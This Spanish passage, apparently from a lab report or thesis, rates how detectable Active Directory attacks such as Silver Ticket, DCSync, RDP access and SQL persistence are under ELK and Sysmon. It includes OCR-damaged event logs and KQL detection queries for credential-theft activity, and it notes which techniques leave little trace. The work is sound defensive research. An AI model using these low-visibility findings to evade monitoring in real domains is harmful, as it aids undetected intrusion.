Id":"0x0","winlog.event_data.ProcessName":"-""winlog.event_data.RestrictedAdminMode":"-

)'winlog.event_data.SubjectDomainName":"-

S'winlog.event_data.SubjectLogonld":"0x0","winlog.event_data.SubjectUserName":"-
""winlog.event_data.SubjectUserSid":"S-1-0-




0""'winlog.event_data.TargetDomainName":"LAB.LOCAL","winlog.event_data.TargetLinkedLogonld
":"0x0""winlog.event_data.TargetLogonld":"Oxdadb35","winlog.event_data.TargetOutboundDomai
nName":"-""winlog.event_data.TargetOutboundUserName":"-
""winlog.event_data.TargetUserSid":"S-1-5-21-2625116736-1513678085-1295315389-

nen

1122""winlog.event_data.TransmittedServices":
""winlog.event_data.VirtualAccount":"No","winlog.event_data.WorkstationName":"-
""winlog.event_id":"4624""winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"776","winlog.process.thread.id":"6444","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1513306","winlog.task":"Logon","winlog.version":"2""_id":"S5eWtpoB

ScXz9zJblt7m""_ignored":"message.keyword","_index":"vector-2025.11.24""_score":8.825}

Este evento evidencia una autenticacidn de red sobre la cuenta de servicio SQL02$, asociada al
acceso hacia el entorno SQL comprometido. Sin embargo, el principal problema desde la
perspectiva defensiva es que el sistema interpreta esta autenticacién como completamente
legitima ya que el ticket presentado es valido criptograficamente para el servicio objetivo

La consulta KQL usada para localizar este tipo de acceso fue:

event.code:4624 AND
winlog.event_data.AuthenticationPackageName:"Kerberos" AND
winlog.event_data.LogonType:"3" AND
winlog.event_data.TargetUserName:"SQL02$"
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Illustracidn 65. Eventos de autenticacion Kerberos (Event ID 4624) asociados a la cuenta de servicio SQL02$

Esta imagen muestra eventos de autenticacién sobre la cuenta de servicio de SQL02 mediante
el protocolo Kerberos.

Ademas, durante el laboratorio no se observaron eventos adicionales especialmente anémalos
asociados a la validacion de ticket, precisamente porque Silver Ticket evita gran parte de la
interaccidn habitual con el KDC. Esto supone una diferencia importante respecto a otras
técnicas donde el controlador de dominio participa de manera mas evidente durante el proceso
de autenticacion.

La detectabilidad depende en gran medida de elementos indirectos como la correlacidn entre
autenticaciones y ausencia de solicitudes TGS previas, uso anémalo de cuentas de servicio,
acceso desde equipos no habituales, patrones laterales inconsistentes...



En entornos sin correlacién avanzada estos eventos suelen confundirse facilmente con
autenticaciones Kerberos legitimas generados por servicios internos, cuentas maquina o
procesos automatizados.

Por ello, la detectabilidad de Silver Ticket se considera baja ya que los registros generados
presentan un comportamiento elevado muy similar al trafico normal de autenticacién Kerberos
y no existe una evidencia directa que permita identificar la falsificacion del ticket.

Persistencia mediante creacion de usuario

Tras obtener acceso administrativo sobre SQL02 se crea una cuenta de usuario dentro de la
instancia SQL con el objetivo de mantener persistencia sobre la base de datos comprometida.
Esta actividad se corresponde con la técnica MITRE T1098 — Account Manipulation, y T1505.001
- SQL Stored Procedures.

A diferencia de la creacién de cuentas AD, esta accidén no genero eventos claros en los Security
Logs ni del controlador ni en el endpoint. La persistencia se produjo dentro del propio motor
SQL por lo que su visibilidad dependia directamente del nivel de auditorio habilitado en MSSQL.

Durante el anélisis se realizaron busquedas sobre eventos del proveedor MSSQL$SQL02
incluyendo sentencia como CREATE LOGIN, CREATE USER, ALTER ROLE o
sp_addsrvrolmember, pero no se localizaron registros especificos asociados a la creacion del
usuario.

La consulta usada fue:

agent.name:"SQL02" AND event.provider:"MSSQL$SQL02" AND
(message: *CREATE LOGIN* OR message: *CREATE USER* OR message:
*ALTER ROLE* OR message: *sp_addsrvrolemember?*)

No se obtuvieron resultados evidenciando una limitacién importante, si SQL Server no tiene
habilitada auditoria avanzada sobre cambios de seguridad y creacién, la creacion de usuarios
dentro de la base de datos puede pasar desapercibida.

Por ello, la detectabilidad de esta técnica se considera nula ya que no se observaron evidencias
de esta actividad. Su deteccion depende de la configuracidn especifica de auditoria dentro de
SQL.

Conclusiones de detectabilidad de la fase

La fase 5 concentrd algunas de las actividades mas criticas del laboratorio ya que incluyd
escalada de privilegios, ejecucion de herramientas ofensivas, acceso a credenciales en
memoria, abuso de replicaciéon de Active Directory, falsificacion de tickets Kerberos 'y
mecanismos de persistencia tanto en el dominio como en SQL Server.

En primer lugar, las técnicas ejecutadas sobre el endpoint SQL02, como PrintSpoofery
Mimikatz, generaron una visibilidad elevada gracias a Sysmon y a los eventos de finalizacién de
procesos. La aparicién de binarios como PrintSpoofer64.exe o mimikatz.exe, junto con actividad
relacionada con lsass.exe, constituye un indicador especialmente relevante dentro de un
entorno.



Por otro lado, DCSync generd evidencias muy sensibles en DC01 mediante eventos 4662
asociados a permisos de replicacion como DS-Replication-Get-Changes y DS-Replication-Get-
Changes-All. Aunque estos eventos pueden generar ruido cuando proceden de controladores
de dominio legitimos, su aparicién asociada a cuentas no esperadas representa un indicador
solido de compromiso.

Las técnicas basadas en tickets Kerberos falsificados presentaron una detectabilidad menor. En
el caso de Golden Ticket los eventos 4672 reflejaron autenticaciones con privilegios elevados,
pero no permiten confirmar por si mismos el uso de tickets falsificados. De forma similar, Silver
Ticket generd eventos 4624 aparentemente legitimos sobre el servicio objetivo reduciendo la
visibilidad en el controlador de dominio y dificultando su identificacion sin correlacion
avanzada.

La creaciony uso de la cuenta goldenadmin aporté una evidencia especialmente clara de
actividad sensible sobre Active Directory, ya que se observaron eventos 4662 asociados a
operaciones de control sobre el directorio y permisos de replicacion. Esto refuerza que las
acciones administrativas sobre AD suelen ser mas detectables que las técnicas basadas
Unicamente en abuso de autenticaciones validas.

Finalmente, la persistencia mediante creacion de usuario dentro de SQL Server presenté la
menor visibilidad de la fase. Aunque se analizaron eventos del proveedor MSSQL$SQL02, no se
localizaron registros especificos asociados a CREATE LOGIN, CREATE USER o modificaciones
de roles, evidenciando una limitacién clara de auditoria en MSSQL.

En conjunto, esta fase mostré una detectabilidad muy variable, desde alta para ejecucion de
herramientas ofensivas, DCSync y actividad administrativa sensible, pasando por baja para
Golden Tickety Silver Ticket y terminando en nula para la persistencia interna en SQL Server sin
auditoria avanzada.

Fase 6 — Reutilizacion de técnicas Kerberos y compromiso de servicios adicionales

La fase 6 se centré principalmente en el abuso de autenticaciones Kerberos sobre servicios web
internos usando técnicas previamente analizadas durante la fase 5, mas concretamente
ataques relacionados con Silver Ticket y uso indebido de tickets Kerberos validos sobre lISy
otros servicios HTTP internos.

Las técnicas MITRE empleadas fueron:

e T1558.002 - Silver Ticket.
e T550 - User Alternate Authentication Material.

Desde el punto de vista de monitorizacién, ambas actividades generaron eventos
practicamente idénticos a los ya documentados en fases anteriores.

Las principales caracteristicas observadas durante esta fase es que el acceso al servicio web
comprometido aparecioé en los registros como una autenticacidon Kerberos completamente
legitima. Debido a esto, no se identificaron indicadores claramente diferenciables que permitan
distinguir de forma sencilla entre actividad normal y actividad ofensiva Unicamente mediante
eventos individuales.

En el caso de Silver Ticket, la dificultad de deteccidén continta siendo especialmente elevada
debido a que el ticket es validado directamente por el servicio comprometido sin necesidad de
generar solicitudes visibles adicionales hacia el controlador de dominio. Como consecuencia,
gran parte de la telemetria asociada al proceso de autenticacion queda limitada exclusivamente
al servidor IS o al endpoint objetivo.



De forma similar, el abuso Kerberos sobre servicios web mediante credenciales o tickets validos
genero unicamente eventos estandar de autenticacion 4624 interpretados por el sistema como
accesos legitimos al servicio.

No obstante, debido a que tanto los eventos generados como las consultas KQL usadas,
patrones de autenticacion y limitaciones defensivas coinciden practicamente en su totalidad
con los ya desarrollados anteriormente para Silver Ticket y abuso Kerberos en la fase 5, no se
profundizara nuevamente en el analisis individual de estas técnicas.

Finalmente, la detectabilidad de esta fase debe interpretarse siguiendo las mismas
consideraciones previamente descritas en fases anteriores manteniéndose una visibilidad
reduciday una elevada dificultad para diferencia actividad ofensiva de autenticaciones
legitimas dentro del dominio.

Fase 7 - Validacion del compromiso total del dominio

La fase 7 tuvo como objetivo validar el nivel de compromiso alcanzado sobre el dominio tras las
haber ejecutado todas las fases previas. En esta etapa se realizaron acciones orientadas a
comprobary mostrar el control efectivo sobre el Active Directory mediante acceso privilegiado,
extraccién de credenciales del dominio y uso de sesiones administrativas sobre el controlador
de dominio.

A diferencia de fases anteriores donde muchas técnicas presentan una visibilidad reducida por
apoyarse en protocolos legitimos o autenticaciones aparentemente normales, esta fase genero
indicadores mas claros de compromiso avanzado dentro del entorno ELK.

Las técnicas principales fueron:

e Dump de credenciales del dominio.
e Acceso RDP al controlador de dominio.
e Uso de privilegios elevados dentro del dominio.

Dump de credenciales del dominio

Una vez alcanzado un nivel elevado de privilegios dentro del entorno AD, se realizé la extraccion
de credenciales del dominio usando secretsdump desde el sistema Kali. Esta actividad se
corresponde con la técnica MITRE T1003 — OS Credential Dumping.

A diferencia de técnicas clasicas de credential dumping basadas en acceso directo a lsass.exe,
este caso de extraccion de credenciales se realizé mediante el abuso de mecanismos de
replicacion AD usando DCSync. Como consecuencia, la principal telemetria observada en el
analisis estuvo relacionada con ventos de acceso al servicio de directorio:

e EventlD 4662 - Directory Service Access.
Se adjunta log de muestra:

{"event.code":"4662""winlog.event_data.Properties":"Control Access {1131f6aa-9c07-11d1-f79f-
00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-
00c04fd930c9}","@metadata.beat":"winlogbeat","@metadata.type":"_doc","@metadata.version":"
9.2.0""@timestamp":"2025-11-24T720:26:50.369Z","agent.ephemeral_id":"9ab6c6b6-12bf-4aed-
ab94-591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01""agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version

:"8.0.0""event.action":"Directory Service Access","event.created":"2025-11-

24T20:26:51.784Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-




Windows-Security-Auditing","log.level":"information","message":"An operation was performed on
an object. Subject : Security ID: S-1-5-18 Account Name: DC01$ Account Domain: LAB Logon ID:
0x148c65 Object: Object Server: DS Object Type: %{19195a5b-6da0-11d0-afd3-00c04fd930c9}
Object Name: %{63ea1f70-4a1a-42b1-95b3-81341d362585} Handle ID: 0x0 Operation: Operation
Type: Object Access Accesses: Control Access Access Mask: 0x100 Properties: Control Access
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}{19195a5b-6da0-11d0-afd3-00c04fd930c9} Additional
Information: Parameter 1: - Parameter 2: ""source_type":"logstash","'timestamp":"2025-11-
24T720:26:50.369Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AccessList":"Control Access
""winlog.event_data.AccessMask":"0x100","'winlog.event_data.Additionallnfo":"-
""winlog.event_data.Handleld":"Ox0","winlog.event_data.ObjectName":"%{63ea1f70-4a1a-42b1-
95b3-
81341d362585}","'winlog.event_data.ObjectServer":"DS""winlog.event_data.ObjectType":"%{1919
5a5b-6da0-11d0-afd3-00c04fd930c9}",'winlog.event_data.OperationType":"Object
Access","winlog.event_data.SubjectDomainName":"LAB","winlog.event_data.SubjectLogonld":"0x
148c65","winlog.event_data.SubjectUserName":"DC01$",'winlog.event_data.SubjectUserSid":"S-
1-5-18""winlog.event_id":"4662","winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"776","winlog.process.thread.id":"904","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1521407","winlog.task":"Directory Service
Access","_id":"MZhVt50BScXz9zJbdgG2"," _ignored":"message.keyword","_index":"vector-

2025.11.24""_score":11.023}

El elemento GUID “{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}” es el identificador del permiso
DS-Replication-Get-Changes visto en fases anteriores. Este esta asociado a operaciones de
replicacion de AD y es especialmente relevante en atagues DCSync realizados mediante
herramientas como secretsdump

La consulta KQL usada para localizar la actividad fue:

event.code:4662 AND (winlog.event_data.Properties: *1131f6aa*) AND
NOT winlog.event_data.SubjectUserName: *$

Ilustracion 66. Eventos de acceso a objetos de Active Directory (Event ID 4662) asociados a permisos de replicacion
utilizados en actividades DCSync

Esta imagen muestra eventos 4662 asociados a permisos de replicacion de AD que son
importantes en eventos relacionados con DCSync.

Uno de los aspectos més importantes observados durante esta fase es que los eventos
generados aparecen asociados a la cuenta maquina DC01$. Este comportamiento es habitual



debido a que las operaciones de replicacién son procesadas internamente por el propio KDCy
usan mecanismos legitimos de AD.

Como consecuencia la atribucidn directa del evento al atacante no resulta sencilla mediante
analisis aislado del log. Precisamente esta caracteristica es una de las principales dificultadas
de DCSync ya que gran parte de la actividad puede confundirse con replicacion legitima del
dominio si no existe relacién contextual adicional.

Aun asi, la presencia del GUID de DS-Replication-Get-Changes o DS-Replication-Get-Changes-
All sigue siendo un indicador muy sensible dentro de AD y debe monitorizarse de forma
especifica, especialmente cuando aparece asociado a cuentas no habituales o patrones
andmalos de replicacion.

Por ello, la detectabilidad de esta técnica se considera alta ya que las operaciones de
replicacion generan eventos relevantes desde la perspectiva defensiva, aunque su correcta
interpretacion requiera de contexto y correlacion avanzada.

Acceso RDP al controlador de dominio

Tras obtener privilegios elevados dentro del entorno AD se realizé acceso remoto al controlador
de dominio DC01 mediante RDP. Esta actividad corresponde con la técnica MITRE T1021.001 -
Remote Services: Remote Desktop Protocol.

Durante el andlisis realizado en ELK se identificaron principalmente eventos de autenticacién
remota sobre el controlador de dominio:

e FEventlD 4624 - An account was successfully logged on.
Se adjunta log de muestra:

{"agent.name":"DCO01""event.code":"4624""@metadata.beat":"winlogheat",'"@metadata.type":"_d
oc""@metadata.version":"9.2.0","@timestamp":"2025-11-
24T21:43:37.756Z""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-

nn

17c5f2a4872f","agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version":"8.0.0","event.action
":"Logon","event.created":"2025-11-
24T21:43:39.085Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"An account was successfully
logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon
Information: Logon Type: 10 Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes
Impersonation Level: Impersonation New Logon: Security ID: S-1-5-18 Account Name: DC01$
Account Domain: LAB.LOCAL Logon ID: 0x10a3cff Linked Logon ID: 0x0 Network Account Name: -
Network Account Domain: - Logon GUID: {59C59C82-E00B-5B43-016F-2FF83C1B4B1A} Process
Information: Process ID: 0x0 Process Name: - Network Information: Workstation Name: - Source
Network Address: ::1 Source Port: 54955 Detailed Authentication Information: Logon Process:
Kerberos Authentication Package: Kerberos Transited Services: - Package Name (NTLM only): -
Key Length: 0","source_type":"logstash","timestamp":"2025-11-
24T721:43:37.756Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AuthenticationPackageName":"Kerberos","winlog.event_data.ElevatedToken":"Yes""
winlog.event_data.ImpersonationLevel":"Impersonation',"winlog.event_data.lpAddress":"::1","win
log.event_data.lpPort":"54955""winlog.event_data.KeyLength":"0","winlog.event_data.LogonProc
essName":"Kerberos","winlog.event_data.LogonType":"10","winlog.event_data.TargetDomainNam
e":"LAB.LOCAL""winlog.event_data.TargetUserName":"DC01$","winlog.event_id":"4624""winlog.p

rovider_name":"Microsoft-Windows-Security-Auditing","winlog.record_id":"1569670"}




El elemento mas relevante de este evento es el valor de Logon Type 10 que es el identificador
que corresponde con autenticaciones realizadas mediante RDP. Desde la perspectiva defensiva
este tipo de eventos resulta especialmente Util para identificar accesos interactivos remotos
hacia sistemas criticos del entorno corporativo especialmente controladores de dominio.

La consulta KQL usada para localizar acceso RDP sobre DCO01 fue:

event.code:4624 AND agent.name:"DC01" AND
winlog.event_data.LogonType:"10"

Jr———

Ilustracion 67. Eventos de inicio de sesién remoto mediante RDP (Logon Type 10) registrados en el controlador de
dominio DCO1

Esta imagen muestra eventos de inicio de sesion mediante RDP en el controlador de dominio.

Uno de los aspectos més importantes observados es que los accesos RDP generan una
trazabilidad mucho mas visible que otras técnicas usadas anteriormente durante el laboratorio.
A diferencia de Golden Ticket o Silver Ticket donde gran parte de la actividad puede confundirse
con trafico Kerberos legitimo, las conexiones RDP producen eventos de autenticacion
interactiva claramente identificables dentro de los Security Logs.

La combinacion de Logon Type 10, autenticaciones Kerberos, Acceso sobre DCO1y sesiones
privilegiadas constituyen un indicador especialmente sensible desde el punto de vista
defensivo.

Por ello, la detectabilidad de esta técnica se considera alta ya que los accesos RDP generan
eventos claramente identificables y facilmente correlacionables dentro de los Security Logs del
controlador de dominio.

Uso de privilegios elevados

Una vez establecido el acceso sobre el controlador de dominio DCO01, se identificaron sesiones
con privilegios elevados asociadas a autenticaciones privilegiadas dentro del entorno AD. Esta
actividad se corresponde con la técnica MITRE T1018 — Remote System Discovery, y T1482 —
Domain Trust Discovery.

Durante el anélisis realizado en ELK se identificaron principalmente:
e EventlD 4672: Special privileges assigned to a new logon.
Se adjunta log de muestra:

{"agent.name":"DCO01","event.code":"4672""winlog.event_data.SubjectDomainName":"LAB","@m
etadata.beat":"winlogbeat","@metadata.type":"_doc",'@metadata.version":"9.2.0""@timestamp":
"2025-11-24T721:43:37.756Z""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-

17c5f2a4872f","agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version":"8.0.0","event.action
":"Special Logon","event.created":"2025-11-




24T21:43:39.085Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"Special privileges assigned to
new logon. Subject: Security ID: S-1-5-18 Account Name: DC01$ Account Domain: LAB Logon ID:
0x10a3cff Privileges: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SelLoadDriverPrivilege SelmpersonatePrivilege SeDelegateSessionUserlmpersonatePrivilege
SeEnableDelegationPrivilege","source_type":"logstash","timestamp":"2025-11-
24T721:43:37.756Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.PrivilegeList":"SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SelLoadDriverPrivilege SelmpersonatePrivilege SeDelegateSessionUserlmpersonatePrivilege
SeEnableDelegationPrivilege","winlog.event_data.SubjectLogonld":"0x10a3cff","winlog.event_dat
a.SubjectUserName":"DCO01$","winlog.event_id":"4672","winlog.provider_name":"Microsoft-

Windows-Security-Auditing","winlog.record_id":"1569669"}

Este evento evidencia la asignacion de privilegios elevados sobre una nueva sesién autenticada
dentro del controlador de dominio. Entre los privilegios mas sensibles destacan:

SeDebugPrivilege.
SeBackupPrivilege.
SeRestorePrivilege.
SelmpersonatePrivilege.
SeEnableDelegationPrivilege.

Este tipo de privilegios se encuentra asociado a cuentas altamente privilegiadas dentro del
dominio y permiten realizar operaciones criticas sobre el sistema operativo, credenciales,
servicios y mecanismos de autenticacion.

La consulta KQL usada para localizar sesiones privilegiadas sobre DCO01 fue:

event.code:4672 AND agent.name:"DC01" AND
winlog.event_data.SubjectDomainName:"LAB" AND NOT
winlog.event_data.SubjectUserName:"SYSTEM" AND NOT
winlog.event_data.SubjectUserName: *$

Illustracion 68. Eventos de asignacion de privilegios especiales (Event ID 4672) registrados en el controlador de
dominio DCO1

En esta imagen se muestran eventos de asignacion de privilegios especiales sobre el
controlador de dominio DCO1.



Desde una perspectiva defensiva, el EventlD 4672 constituye uno de los indicadores mas
relevantes para identificar sesiones administrativas o autenticaciones con privilegios elevados
dentro de AD.

La presencia de los privilegios sensibles es especialmente relevante desde el punto de vista
defensivo ya que suelen estar relacionados con operaciones criticas de administraciony
control del dominio.

Por ello, la detectabilidad de esta técnica se considera alta ya que las sesiones privilegiadas
generan eventos administrativos claramente identificables dentro de los Security Logs del
controlador de dominio.

Conclusiones de detectabilidad de la fase

La fase 7 represento el punto de mayor impacto operativo dentro del laboratorio ya que el
atacante consiguio acceso directo sobre el controlador de dominio y capacidad para operar con
privilegios elevados dentro del AD. Desde la perspectiva defensiva, esta etapa presento un nivel
de visibilidad considerablemente superior al observado en fases anteriores debido a que
muchas de las acciones realizadas afectaron directamente a servicios criticos del dominioy
generaron eventos altamente sensibles dentro de los Security Logs.

Uno de los aspectos mas relevantes de esta fase es que las técnicas relacionadas con
replicacion AD, acceso remoto privilegiado y uso de privilegios administrativos generan una
trazabilidad mucho mas clara dentro de entornos monitorizados. Eventos como EventID 4662,
4624y 4672, permiten identificar operaciones especialmente sensibles dentro del dominio,
autenticaciones remotasy sesiones privilegiadas dentro del DCO1.

En el caso concreto del dump de credenciales mediante técnicas equivalentes a DCSync, la
presencia del GUID asociado a permisos de replicaciéon constituye uno de los indicadores mas
utiles desde la perspectiva defensiva. Aun asi, también se observé una limitacién importante ya
que gran parte de estos eventos aparecen asociados a cuentas maquina DC01$, lo que
introduce ruido y dificulta diferenciar automaticamente la actividad legitima de replicacion
frente al abuso ofensivo.

Por otra parte, el acceso RDP al controlador de dominio genero eventos claramente
identificables gracias al uso de Logon Type 10 proporcionando una visibilidad mucho mas
elevada que otras técnicas basadas exclusivamente en Kerberos. Este comportamiento
demuestra que los accesos interactivos remotos contindan siendo uno de los mecanismos mas
sencillos de monitorizar dentro de entornos Windows corporativos.

Asimismo, los eventos 4672 asociados a privilegios especiales permitieron identificar sesiones
altamente privilegiadas dentro del dominio. La correlacidn entre autenticaciones, sesiones
remotasy privilegios elevados proporcionan evidencias especialmente relevantes desde el
punto de vista defensivo.

De forma general esta fase pone de manifiesto que el comportamiento directo del controlador
de dominio incrementa notablemente la superficie de deteccion para el SIEM. A diferencia de
fases anteriores donde muchas técnicas podian operar de manera relativamente sigilosa
usando tickets Kerberos validos o autenticaciones aparentemente legitimas, las acciones
realizadas sobre DC01 generaron registros administrativos mucho mas visibles y facilmente
correlacionables.

Por ello, la detectabilidad global de esta fase se considera alta ya que las operaciones
realizadas afectaron directamente a mecanismos criticos de autenticacion, replicaciony



administracion del dominio generando multiples evidencias observables dentro del entorno
monitorizado.

Comparativa de detectabilidad entre técnicas

Una vez analizadas individualmente las distintas fases del laboratorio, ahora es posible realizar
una comparacion transversal entre técnicas ejecutadas con el objetivo de identificar cuales
presentan mayor capacidad de deteccién, cuales generan mas ruido dentro del entornoy
cuales pueden pasar practicamente desapercibido incluso en sistemas monitorizados.

Este analisis comparativo permite evaluar no solo la capacidad ofensiva de cada técnica sino
también el comportamiento real de los mecanismos de logging desplegados en el dominio y las
limitaciones observadas durante el proceso de monitorizacién. Durante las fases del
laboratorio, se comprobd que la detectabilidad de una técnica no depende necesariamente de
su impacto sobre el entorno o del nivel de privilegios obtenido, sino principalmente de varios
factores relacionados con la visibilidad disponible:

e Eventos generados por la técnica.

e Contexto en el que se ejecuta.

e Nivel de auditoria habilitado.

e Capacidad de correlacion del SIEM.

e Similitud respecto al comportamiento legitimo del dominio.

Como consecuencia, algunas técnicas extremadamente criticas desde el punto de vista
ofensivo generan evidencias muy claras dentro del sistema mientras que otras capaces de
comprometer servicios sensibles apenas dejan trazabilidad. Esto fue muy visible en ataques
basados en reutilizacion de credenciales validas o abuso de Kerberos donde gran parte de la
actividad observada resulta practicamente indistinguible del comportamiento normal del
entorno.

Comparativa global de técnicas

A partir de las fases analizadas anteriormente, pude establecer una comparativa global entre
las siguientes técnicas ejecutadas en el laboratorio:
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Tabla 37. Resumen comparativo de detectabilidad de técnicas ofensivas en entornos Active Directory monitorizados
mediante ELK y Sysmon

Esta comparativa muestra que la existencia de logs no implica necesariamente una deteccién
efectiva. En numerosos casos las técnicas generan eventos validos dentro del sistema, pero
dichos eventos carecen de suficiente contexto para ser considerados sospechosos de forma
aislada.

Técnicas con mayor detectabilidad

Las técnicas que presentaron una detectabilidad mas alta durante el laboratorio fueron
principalmente aquellas que generan eventos muy especificos dentro del controlador de
dominio o producen actividad claramente anémala a nivel de sistema operativo. Entre las mas
visibles tenemos:

e Password Spraying.

e Kerberoasting.

e DCSync.

e Dumping de credenciales.

e Ejecucién de comandos mediante xp_cmdshell.

En estos casos la deteccidén resulto relativamente sencilla debido a la existencia de indicadores
muy concretos dentro de los logs como, por ejemplo:

e Grandes voliumenes de eventos 4625 en ataques de fuerza bruta dirigida.



e Eventos 4769 asociados al uso de cifrado RC4 en Kerberoasting.
e Eventos 4662 relacionados con replicacién AD en DCSync.

e Acceso a LSASS detectado mediante Sysmon EventID 10.

e Procesos hijos anémalos ejecutados desde sqlservr.exe.

Ademas, muchas de estas técnicas producen patrones poco habituales dentro del
funcionamiento normal del dominio facilitando la creacion de reglas de deteccidn eficaces
dentro del SIEM.

Otro aspecto relevante es que estas técnicas no solo generan eventos claros, sino que ademas
presentan una baja ambigliedad respecto al comportamiento legitimo. Esto también reduce la
necesidad de contexto adicional para interpretar correctamente la evidencia obtenida.

Técnicas con mayor dificultad ofensiva

En contraste, las técnicas mas complejas de detectar fueron aquellas que usan mecanismos
completamente legitimos del sistema y generan actividad practicamente idéntica a la
observada diariamente dentro del entorno corporativo.

Las mas problematicas desde este punto de vista fueron las siguientes:

e Enumeracion LDAP mediante BloodHound.
e Movimiento lateral mediante SMB.

e Acceso SQL con credenciales validas.

e Explotacidén de servicios web.

e Reutilizacion de tickets Kerberos.

Estas técnicas no destacan por ausencia de eventos sino por el elevado nivel de ruido asociado
a los protocolos usados. Por ejemplo, dentro de un dominio de AD es completamente normal
ver consultas LDAP constantes, accesos SMB entre workstations y servidores, autenticaciones
Kerberos legitimas, conexiones frecuentes a bases de datos SQL y gran volumen de trafico HTTP
hacia servidores internos.

Como consecuencia de esto, la actividad ofensiva queda diluida entre miles de eventos
legitimos generados continuamente por el entorno.

Durante el laboratorio se comprobé que este tipo de técnicas requieren una fuerte dependencia
de los siguientes elementos:

e Correlaciéon temporal.

e Analisis de comportamiento.

e Contexto del usuarioy del host.

e Baselines de actividad normal.

e Reglas avanzadas orientadas a anomalias.

Esto evidencia que la dificultad principal no reside en generar eventos sino en diferenciar
correctamente actividad maliciosa de comportamiento corporativo habitual.

Técnicas de menor visibilidad

Las técnicas con menor visibilidad fueron principalmente las basadas en abuso avanzado de
Kerberos y reutilizaciéon de credenciales validas:

e Silver Ticket.



e GoldenTicket.
e Pass-The-Hash.
e Movimiento lateral mediante credenciales comprometidas.

Estas técnicas presentan una caracteristica especialmente problematica, y es que desde el
punto de vista del sistema gran parte de la actividad parece completamente legitima.

En el caso concreto de Silver Ticket, el controlador de dominio ni siquiera participa
directamente en determinadas autenticaciones, reduciendo la capacidad de deteccidn
centralizada. Esto limita la generacion de eventos relevantes en DC01 y desplaza la visibilidad
Unicamente al servicio comprometido.

Golden Ticket también presento una detectabilidad reducida debido a que los tickets generados
continuan usando mecanismos validos de Kerberos. Aunque pueden observarse ciertos
comportamientos andmalos, la identificacién efectiva requiere de correlaciones avanzaday
analisis contextual profundo.

Este comportamiento convierte las técnicas basadas en abuso de tickets Kerberos en algunos
de los escenarios mas complejos de detectar dentro de entornos AD monitorizados.

Impacto de Sysmon en la visibilidad del entorno

Uno de los hallazgos mas importantes observados durante el laboratorio fue el enorme impacto
que tiene Sysmon sobre la capacidad de deteccién del entorno.

Las técnicas relacionadas con:

e Ejecucidén de herramientas ofensivas.
e LOLBins.

e Transferencia de binarios.

e Dumping de credenciales.

e Elevacién local de privilegios.

e Ejecuciénremota de comandos.

Estas dependen casi completamente de la telemetria adicional proporcionada por Sysmon. Si
esta herramienta, muchas actividades habrian quedado reducidas Unicamente a
autenticaciones genéricas o conexiones de red sin contexto suficiente para interpretar
correctamente el comportamiento del atacante.

La capacidad de Sysmon fue especialmente util par a registrar:

e Terminacién de procesos.
e Acceso aprocesos sensibles.
e Creaciony modificacion de archivos.

Gracias a esta informacién fue posible reconstruir gran parte de la actividad ofensiva de los
Security Logs nativos de Windows no reflejan adecuadamente.

Por lo tanto, una de las principales conclusiones obtenidas es que una monitorizacién basada
Unicamente en logs nativos de Windows resulta insuficiente frente a técnicas modernas de
postexplotaciéon y movimiento lateral.



Dependencia de correlacion y anélisis contextual

Otro aspecto importante observado es que muchas técnicas Unicamente resultaron
detectables cuando varios eventos eran correlacionados correctamente dentro del SIEM.

En estos casos, los eventos individuales carecian de suficiente contexto para considerarse
sospechosos por si solos. El valor defensivo aparecia unicamente al reconstruir secuencias
completas de actividad ofensiva.

Algunos ejemplos son:

Multiples eventos 4625 seguidos de un 4624 exitoso.

Solicitudes TGS andmalas combinadas con uso posterior de cuentas de servicio.
Accesos SMB precedidos por enumeracion LDAP.

Autenticaciones privilegiadas seguidas de acceso a LSASS.

Ejecucidn de herramientas ofensivas tras conexiones remotas previas.

Esto demuestra que la simple existencia de logs no implica capacidad real de deteccion. La
efectividad defensiva depende principalmente de:

La calidad de las reglas implementadas.

Conocimiento del comportamiento normal del entorno.
Granularidad de las fuentes de datos disponibles.
Capacidad de correlacion en el SIEM.

Capacidad de analisis contextual de nuestra parte.

Conclusiones comparativas

A partir de este andlisis transversal realizado, puede extraerse varias conclusiones relevantes
sobre la detectabilidad de ataque en entornos AD monitorizados:

Las técnicas mas peligrosas no siempre son las mas visibles.

Kerberoasting y DCSync generan evidencias especialmente Utiles defensivamente.
SMB, LDAPy la reutilizacién de credenciales presentan una detectabilidad
considerablemente menor.

Sysmon mejora la trazabilidad en el entorno.

Muchas técnicas solo pueden identificarse mediante correlacién avanzada.

El uso de credenciales validas contintia siendo uno de los mayores retos desde el punto
de vista defensivo.

La monitorizacién basada unicamente en Security Logs resulta insuficiente frente a
